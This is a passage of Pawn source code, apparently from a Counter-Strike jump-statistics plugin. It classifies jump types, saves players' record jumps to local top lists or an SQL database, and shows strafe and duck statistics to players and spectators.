					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && uq_dropmcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_BhopLongJump && uq_drbj==0)
					{
						JumpReset(id,23);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Stand_Bhop && uq_upsbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_Bhop && uq_multibhop==0)
					{
						JumpReset(id,242);
						return FMRES_IGNORED;
					}
					
					for(new i=1;i<NSTRAFES;i++)
					{
						if(tmpstatspeed[i]>40 && jump_type[id]!=Type_ladder && jump_type[id]!=Type_Real_ladder_Bhop && jump_type[id]!=Type_Slide)
						{
							JumpReset(id,40);
							return FMRES_IGNORED;
						}
					}
					
					if(jump_type[id]==Type_Multi_Bhop && multibhoppre[id]==false)
					{
						g_reset[id]=true;
						return FMRES_IGNORED;
					}
					if(!failed_jump[id] && !not_save)
					{
						new tmp_type_num=-1;
						
						//saving tops
						if(!ddstandcj[id] && !CjafterJump[id] && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2 && Pmaxspeed==250.0 && kz_top==1 && kz_map_top==1)
						{
							checkmap( id, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],Jtype1[id]); 
						}
						
						if(!CjafterJump[id] && jump_type[id]==Type_Double_CountJump && kz_top==1 && uq_dcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[10],10, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[10],10, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublecj_top");
								tmp_type_num=10;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_Multi_CountJump && kz_top==1 && uq_mcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[21],21, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[21],21, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multicj_top");
								tmp_type_num=21;
							}
						}
						else if(!CjafterJump[id] && jump_type[id]==Type_CountJump && kz_top==1 && uq_cj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[2],2, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"cj_top");
								tmp_type_num=2;
							}
						}
						else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && kz_top==1 && uq_lj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block( id,"hj",6, distance[id], edgedist[id], jumpblock[id]); 
										}
										else checktops_block( id,Type_List[0],0, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										if(jump_type[id]==Type_HighJump)
										{
											checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),"hj",9,distance[id],edgedist[id],jumpblock[id],weapon_name); 
										}
										else checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"lj_top");
								tmp_type_num=0;
							}
						}
						else if(jump_type[id]==Type_ladder && kz_top==1 && uq_ladder==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
								}
								
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladder_top");
								tmp_type_num=6;
							}
						}
						else if(jump_type[id]==Type_BhopLongJump && kz_top==1 && uq_bj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[4],4, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bj_top");
								tmp_type_num=4;
							}
						}
						else if(jump_type[id]==Type_ladderBhop && kz_top==1 && uq_ldbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops1( id,Type_List[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[7],7, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"ladderbhop_top");
								tmp_type_num=7;
							}
						}
						else if(jump_type[id]==Type_WeirdLongJump && kz_top==1 && uq_wj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[3],3, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
									
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"wj_top");
								tmp_type_num=3;
							}
						}
						else if(jump_type[id]==Type_Drop_BhopLongJump && kz_top==1 && uq_drbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[9],9, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[9],9, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropbj_top");
								tmp_type_num=9;
							}
						}
						else if(jump_type[id]==Type_StandupBhopLongJump && kz_top==1 && uq_sbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[5],5, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"sbj_top");
								tmp_type_num=5;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_drsbj==1)
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);   
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[1],1, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"scj_top");
								tmp_type_num=1;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[11],11, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[11],11, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doublescj_top");
								tmp_type_num=11;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_mscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0) 
								{
									checktops2( id,Type_List[22],22, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[22],22, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multiscj_top");
								tmp_type_num=22;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_dropscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[12],12, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);  
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[12],12, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropscj_top");
								tmp_type_num=12;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[13],13, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[13],13, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropdoublescj_top");
								tmp_type_num=13;
							}
						}
						else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmscj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[23],23, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[23],23, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropmultiscj_top");
								tmp_type_num=23;
							}
						}
						else if(jump_type[id]==Type_DuckBhop && kz_extras==1 && kz_top==1 && uq_duckbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[14],14, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[14],14, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"duckbhop_top");
								tmp_type_num=14;
							}
						}
						else if(jump_type[id]==Type_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_bhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[15],15, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[15],15, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"bhopinduck_top");
								tmp_type_num=15;
							}
						}
						else if(jump_type[id]==Type_Real_ladder_Bhop && kz_extras==1 && kz_top==1 && uq_realldbhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[16],16, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[16],16, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"realladderbhop_top");
								tmp_type_num=16;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop && kz_extras==1 && kz_top==1 && uq_upbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[17],17, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[17],17, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbj_top");
								tmp_type_num=17;
							}
						}
						else if(jump_type[id]==Type_Up_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_upbhopinduck==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[19],19, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[19],19, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upbhopinduck_top");
								tmp_type_num=19;
							}
						}
						else if(jump_type[id]==Type_Up_Stand_Bhop && kz_extras==1 && kz_top==1 && uq_upsbj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[18],18, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[18],18, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"upsbj_top");
								tmp_type_num=18;
							}
						}
						else if(jump_type[id]==Type_Multi_Bhop && kz_extras==1 && kz_top==1 && uq_multibhop==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[24],24, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],bhop_num[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[24],24, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multibhop_top");
								tmp_type_num=24;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops2( id,Type_List[25],25, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[25],25, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"multidropcj_top");
								tmp_type_num=25;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[20],20, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[20],20, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"doubledropcj_top");
								
								tmp_type_num=20;
							}
						}
						else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && kz_top==1 && uq_drcj==1) 
						{
							if(kz_sql==0) 
							{
								if(Pmaxspeed==250.0)
								{
									checktops1( id,Type_List[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]); 
									
									if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block( id,Type_List[8],8, distance[id], edgedist[id], jumpblock[id]); 
									}
								}
								else if(Pmaxspeed!=250.0 && kz_weapon)
								{
									checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name); 
								
									if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
									{
										checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8,distance[id],edgedist[id],jumpblock[id],weapon_name); 
									}
									return FMRES_IGNORED
								}
							}
							if(kz_sql==1)
							{
								formatex(sql_JumpType[id],25,"dropcj_top");
								
								tmp_type_num=8;
							}
						}
						
					
						if(tmp_type_num!=-1 && !ddstandcj[id] && !CjafterJump[id] && kz_sql==1 && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2) 
						{
							if(jumpblock[id]>100 && kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								new cData[6];
								
								cData[0] = floatround(distance[id]*1000000);
								cData[1] = floatround(edgedist[id]*1000000);
								cData[2] = jumpblock[id];
								
								if(jump_type[id]==Type_HighJump)
								{
									cData[3]=6;
								}
								else cData[3] = tmp_type_num;
								
								cData[4] = Pmaxspeed;
								cData[5] = wpn;
								
								PlayerSaveData_to_SQL_block(id, cData);
							}
							
							new cData[9];
							cData[0] = floatround(distance[id]*1000000);
							cData[1] = floatround(maxspeed[id]*1000000);
							cData[2] = floatround(prestrafe[id]*1000000);
							cData[3] = strafe_num[id];
							cData[4] = sync_[id];
							
							
							if(jump_type[id]==Type_Multi_Bhop)
							{
								cData[5]=bhop_num[id];
							}
							else cData[5] = ducks[id];
							
							cData[6] = tmp_type_num;
							cData[7] = Pmaxspeed;
							cData[8] = wpn;
							
							PlayerSaveData_to_SQL(id, cData);
						}
					}
					
			
					if(kz_stats_pre[id]==true)//ducks stat for mcj
					{
						strM[0] = '^0'; 
						strMBuf[0] = '^0'; 
						strL = INFO_ZERO;
						for(jj = 2;jj <= ducks[id]; jj++)
						{
							strL += format(strM[strL],(40*NSTRAFES)-strL-1, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT8", jj-1,statsduckspeed[id][jj]);
						}
						copy(strMBuf,strL,strM);//dlya stat ducks
					}
					if(uq_istrafe)
					{
						new st1[NSTRAFES],st2[NSTRAFES];
						for(new i = 1;i <= strafe_num[id]; i++)
						{
							if(i<NSTRAFES)
							{
								st1[i]=strafe_stat_sync[id][i][0];
								st2[i]=strafe_stat_sync[id][i][1];
							}
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(ingame_strafe[i])
								{
									new Float:or[3];
									pev(id,pev_origin,or);
									
									remove_beam_ent(i);
									
									epta(i,or,direct_for_strafe[id],line_lost[id],FullJumpFrames[id],is_user_ducking(id),strafe_num[id],st1,st2,strafe_lost_frame[id]);
								}
							}
						}
					}

/*
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{	
							copy(strMessBuf,strLen,strMess);
							//stats
							if(jump_type[id]==Type_Multi_Bhop &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) &&!failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats  );	
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id],prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id], strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif);
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
							{
								set_hudmessage(stats_r, stats_g, stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
